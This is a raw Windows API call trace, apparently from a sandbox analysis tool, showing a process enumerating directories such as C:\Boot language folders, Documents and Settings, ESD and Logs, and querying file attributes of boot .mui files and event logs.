	[0078.774] GetFileAttributesExW (in: lpFileName="C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210e1cce, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d60)) returned 1
	[0078.774] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.774] GetFileAttributesExW (in: lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236)) returned 1
	[0078.818] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.818] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.954] CreateFileW (lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.954] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e100
	[0078.954] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207100, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6d7e9a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.955] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.955] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.955] FindNextFileW (in: hFindFile=0x1619f39e100, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.955] FindClose (in: hFindFile=0x1619f39e100 | out: hFindFile=0x1619f39e100) returned 1
	[0078.955] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.955] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960)) returned 1
	[0078.955] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.955] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0)) returned 1
	[0078.955] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.955] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.956] CreateFileW (lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.956] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0078.956] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.956] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.956] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.956] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.956] FindClose (in: hFindFile=0x1619f39dce0 | out: hFindFile=0x1619f39dce0) returned 1
	[0078.957] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.957] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958)) returned 1
	[0078.993] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.993] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558)) returned 1
	[0078.994] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.994] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.994] CreateFileW (lpFileName="C:\\Boot\\zh-TW" (normalized: "c:\\boot\\zh-tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0078.994] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dec0
	[0078.994] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.994] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0078.994] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0078.994] FindNextFileW (in: hFindFile=0x1619f39dec0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0078.994] FindClose (in: hFindFile=0x1619f39dec0 | out: hFindFile=0x1619f39dec0) returned 1
	[0078.995] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0078.995] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960)) returned 1
	[0078.995] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.995] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598)) returned 1
	[0078.995] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x38, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0078.995] GetFileAttributesExW (in: lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0078.996] CreateFileW (lpFileName="C:\\Documents and Settings" (normalized: "c:\\documents and settings"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164
	[0078.996] GetFileInformationByHandle (in: hFile=0x164, lpFileInformation=0xc000031a44 | out: lpFileInformation=0xc000031a44) returned 1
	[0078.996] GetFileInformationByHandleEx (in: hFile=0x164, FileInformationClass=0x9, lpFileInformation=0xc000031a28, dwBufferSize=0x8 | out: lpFileInformation=0xc000031a28) returned 1
	[0078.996] CloseHandle (hObject=0x164) returned 1
	[0078.997] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0078.997] GetFileAttributesExW (in: lpFileName="C:\\ESD" (normalized: "c:\\esd"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0079.036] CreateFileW (lpFileName="C:\\ESD" (normalized: "c:\\esd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0079.036] FindFirstFileW (in: lpFileName="C:\\ESD\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39e160
	[0079.036] FindNextFileW (in: hFindFile=0x1619f39e160, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.036] FindNextFileW (in: hFindFile=0x1619f39e160, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0079.036] FindClose (in: hFindFile=0x1619f39e160 | out: hFindFile=0x1619f39e160) returned 1
	[0079.036] WriteFile (in: hFile=0x0, lpBuffer=0xc000000600, nNumberOfBytesToWrite=0x1f, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0079.036] GetFileAttributesExW (in: lpFileName="C:\\Logs" (normalized: "c:\\logs"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0079.255] SetEvent (hEvent=0x120) returned 1
	[0079.255] CreateFileW (lpFileName="C:\\Logs" (normalized: "c:\\logs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0079.255] FindFirstFileW (in: lpFileName="C:\\Logs\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1619f39dce0
	[0079.337] SetEvent (hEvent=0x120) returned 1
	[0079.337] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.782] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1
	[0082.782] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505ee5f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505ee5f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HardwareEvents.evtx", cAlternateFileName="HARDWA~1.EVT")) returned 1
	[0082.782] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505a2134, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505a2134, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer.evtx", cAlternateFileName="INTERN~1.EVT")) returned 1
